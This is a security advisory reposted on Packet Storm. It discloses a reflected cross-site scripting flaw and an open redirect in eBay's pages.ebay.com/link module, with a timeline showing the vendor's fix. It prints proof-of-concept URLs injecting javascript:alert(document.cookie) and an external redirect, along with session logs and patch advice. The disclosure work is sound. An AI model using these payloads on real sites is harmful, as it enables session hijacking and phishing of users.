exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

eBay Inc Pages Cross Site Scripting

eBay Inc Pages Cross Site Scripting
Posted Feb 9, 2016
Authored by Vulnerability Laboratory, Daniel Diez Tainta | Site vulnerability-lab.com

eBay Inc Pages suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | ea0e75740243ce8052bf2810b0f0f4e1316b149f23ba031fd9e143144e5db810

eBay Inc Pages Cross Site Scripting

Change Mirror Download
Document Title:
===============
Ebay Inc (Pages) - Client Side Cross Site Scripting Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1626


Release Date:
=============
2016-02-07


Vulnerability Laboratory ID (VL-ID):
====================================
1626


Common Vulnerability Scoring System:
====================================
3.4


Product & Service Introduction:
===============================
eBay Inc. is an American multinational internet consumer-to-consumer corporation, headquartered in San Jose, California. It was founded by Pierre Omidyar in 1995,
and became a notable success story of the dot-com bubble; it is now a multi-billion dollar business with operations localized in over thirty countries. The company
manages eBay.com, an online auction and shopping website in which people and businesses buy and sell a broad variety of goods and services worldwide. In addition to
its auction-style sellings, the website has since expanded to include `Buy It Now` standard shopping; shopping by UPC, ISBN, or other kind of SKU (via Half.com);
online classified advertisements online event ticket trading online money transfers and other services.

(Copy of the Homepage: http://en.wikipedia.org/wiki/EBay )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered multiple client-side vulnerabilities in the official Ebay Inc Pages online service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-10-27: Researcher Notification & Coordination (Daniel Diaz)
2015-10-27: Vendor Notification (Ebay Inc - Security Team)
2015-11-03: Vendor Response/Feedback (Ebay Inc - Security Team)
2016-02-06: Vendor Fix/Patch (Ebay Inc - Security Team)
2016-02-07: Vendor Fix/Patch (Ebay Inc - Developer Team) [Acknowledgements]
2016-02-07: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Ebay Inc.
Product: Ebay Pages - Online Service (Web-Application) 2015 Q4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple client-side web vulnerabilities has been discovered in the official Ebay Pages online service web-application.
The first vulnerability allows remote attacker to inject client-side script codes to compromise browser to application requests.
The second vulnerability allows remote attacker to redirect client-side browser to application request for external manipulation.

The first vulnerability is a client-side cross site scripting vulnerability that is located in the nav value of the vulnerable link module.
The domain pages.ebay.com/link/ has two parameters `nav` and `url`. The `nav` parameter receives as argument `webview`. If an attacker sends
a javascript code like `javascript:alert(document.cookie)` the code will execute in the same reply. The attack vector of the issue is non-
persistent and the request method to inject/execute is GET.

The second vulnerability is a client-side open redirect web vulnerability that is located in the url value of the vulnerable link module.
The `url` parameter receives as argument an url or javascript code. If an attacker sends an url like `http://www.google.es` the application
will open the malicious webpage. The attack vector of the issue is non-persistent and the request method to redirect is GET.

The security risk of the client-side vulnerabilities is estimated as medium with a cvss (common vulnerability scoring system) count of 3.4.
Exploitation of the security vulnerabilities requires no privilege web-application user account and low or medium user interaction.
Successful exploitation of the vulnerabilities results in session hijacking, non-persistent phishing, non-persistent external redirects,
non-persistent load of malicious script codes or non-persistent web module context manipulation.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] Ebay Pages > /link

Vulnerable Parameter(s):
[+] nav
[+] url

Affected Module(s):
[+] webview


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers without privileged web-application user account and with low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Client Side Cross Site Scripting
http://pages.ebay.com/link/?nav=webview&url=javascript:alert(document.domain)
http://pages.ebay.com/link/?nav=webview&url=javascript:alert(document.cookie)
http://pages.ebay.com/link/?nav=webview&url=iframe:src=http://www.vulnerability-lab.com


PoC: Source
</head><body>
<div id="splash">
<svg id="ebylogo" viewBox="0 0 324 130" xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:cc="http://creativecommons.org/ns#" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" version="1.1" xml:space="preserve">
<metadata id="metadata8">
<rdf:RDF>
<cc:Work rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
</cc:Work>
</rdf:RDF>
</metadata>
<defs id="defs6"/>
<g transform="matrix(1.25,0,0,-1.25,0,129.7875)" id="g10">
<g transform="scale(0.1,0.1)" id="g12">
<path d="m 136.129,557.801 c 0,0 9.266,165.039 195.519,165.094 185.571,0.046 185.571,-165.094 185.571,-165.094
l -381.09,0 z M 334.844,809.07 C 11.0391,809.137 -1.54297,557.062 0.113281,491.625 c 0,0 -15.859381,-294.695 326.804719,-294.695 294.445,
0 308.941,184.91 308.941,184.91 l -135.468,-0.274 c 0,0 -26.383,-101.867 -172.914,-99.14 -188.375,3.508 -195.692,186.008 -195.692,186.008 l 521.871,
0 c 0,0 39.602,340.57 -318.812,340.636" id="path14" style="fill:#ee273b;fill-opacity:1;fill-rule:nonzero;stroke:none"/>
<path d="m 986.215,284.918 c -205.61,-2.578 -202.266,218.074 -202.266,218.074 0,0 -7.496,
212.395 201.942,217.852 209.409,5.461 202.599,-222.383 202.599,-222.383 0,0 3.34,-210.945 -202.275,-213.543 z M 1016.12,809.07 C 853.312,
809.984 783.266,712.656 783.266,712.656 l 0,325.634 -130.524,0 2.207,-688.208 c 0,0 -0.785,-80.164 -5.719,-133.144 l 126.77,0 5.441,77.316 c 0,
0 59.133,-97.324 231.939,-97.324 172.83,0 309.28,106.422 312.92,303.797 3.63,197.378 -147.35,307.441 -310.18,308.343"
id="path16" style="fill:#2d62b7;fill-opacity:1;fill-rule:nonzero;stroke:none"/>
<path d="m 1588.25,280.16 c 0,0 -130.82,-0.156 -138.49,104.363 -8.18,111.543 201.26,104.836 201.26,104.836 l
147.96,0.149 c 0,0 23.96,-212.422 -210.73,-209.348 z m 341.11,72.637 c 0.32,89.023 2.93,168.512 0,224.582 -3.43,65.012 2.73,221.918 -278.34,
233.516 0,0 -269.47,24.558 -297.45,-176.004 l 137.82,0 c 0,0 10.7,91.886 150.54,89.246 132.34,-2.5 156.45,-67.414 155.77,-147.235 0,0
-113.43,-0.32 -151.28,-0.511 -68.22,-0.34 -306.95,-7.903 -329.23,-153.313 C 1290.68,250.18 1445,196.242 1565.74,196.93 c 120.75,0.679 189.64,
36.836 240.81,101.636 l 5.47,-80.488 120.07,0.688 c 0,0 -3.1,45.007 -2.73,134.031" id="path18" style="fill:#f9a50d;fill-opacity:1;fill-rule:nonzero;stroke:none"/>
<path d="m 1857.95,787.246 151.43,0 221.49,-441.605 221.95,441.605 136.9,0 L 2189.02,0 2042.6,0 l 115.96,218.766
-300.61,568.48" id="path20" style="fill:#5fbf32;fill-opacity:1;fill-rule:nonzero;stroke:none"/>
</g>
</g>
</svg>
</div>
<img style="display:none" width="1" height="1" alt="" title="" src="http://rover.ebay.com/roverimp/0/0/9?imp=2046809"/>
</body>
</html>


--- PoC Session Logs [GET] ---
Status: 304[Not Modified]
GET http://pages.ebay.com/link/?nav=webview&url=javascript:alert(document.cookie) Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[application/x-unknown-content-type]
Request Header:
Host[pages.ebay.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Cookie[npii=btguid/a8d2551b1500a62058347f34fbac003858109e95^cguid/a8d2551b1500a62058347f34fbac003758109e95^; ebay=%5Edv%3D562f6b10%5Esbf%3D1048576%5E; dp1=btzo/-3c59f1d210^idm/15630bc90^; ds2=ssts/1445948177836^]
Connection[keep-alive]
If-Modified-Since[Tue, 27 Oct 2015 11:59:06 GMT]
If-None-Match[f4c21154051531986879f9ae221d1409]
Response Header:
Server[Apache-Coyote/1.1]
Etag[f4c21154051531986879f9ae221d1409]
Last-Modified[Tue, 27 Oct 2015 12:06:51 GMT]
Date[Tue, 27 Oct 2015 12:16:33 GMT]



PoC: Open Redirect
http://pages.ebay.com/link/?nav=webview&url=http://www.vulnerability-lab.com


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://pages.ebay.com/link/?nav=webview&url=http://www.vulnerability-lab.com
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[2076] Mime Type[text/html]
Request Header:
Host[pages.ebay.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Cookie[npii=btguid/a8d2551b1500a62058347f34fbac003858109ea3^cguid/a8d2551b1500a62058347f34fbac003758109ea3^; ebay=%5Edv%3D562f6b10%5Esbf%3D1048576%5E; dp1=btzo/-3c59f1d210^idm/15630bc90^; ds2=ssts/1445948177836^]
Connection[keep-alive]
Response Header:
Server[Apache-Coyote/1.1]
Etag[f4c21154051531986879f9ae221d1409]
Last-Modified[Tue, 27 Oct 2015 11:39:23 GMT]
Content-Encoding[gzip]
Content-Type[text/html;charset=UTF-8]
Content-Length[2076]
Date[Tue, 27 Oct 2015 12:19:26 GMT]

13:19:25.049[588ms][total 723ms] Status: 200[OK]
GET http://www.vulnerability-lab.com/
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[76652] Mime Type[text/html]
Request Header:
Host[www.vulnerability-lab.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://pages.ebay.com/link/?nav=webview&url=http://www.vulnerability-lab.com]
Cookie[PHPSESSID=df69fc7036e1108f80ce131d57f8b610]
Connection[keep-alive]
Response Header:
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Pragma[no-cache]
Content-Type[text/html]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Server[Microsoft-IIS/8.5]
X-Powered-By[ASP.NET]
X-Powered-By-Plesk[PleskWin]
Date[Tue, 27 Oct 2015 12:19:31 GMT]
Content-Length[76652]

Reference(s):
http://pages.ebay.com/
http://pages.ebay.com/link/


Solution - Fix & Patch:
=======================
The open redirect vulnerability can be patched by a restriction of the vulnerable url parameter. Approve the context and validate the request urls to prevent malicious redirects.

The client-side cross site scripting web vulnerability can be patched by a secure parse and encode of the vulnerable nav value in the link module GET method request.
Restrict the input to the parameter value and disallow special chars to prevent client-side script code injection attacks.


Security Risk:
==============
The security risk of the client-side vulnerabilities in the official ebay online service pages


Credits & Authors:
==================
Daniel Díez Tainta - (@DaniLabs)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™

--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close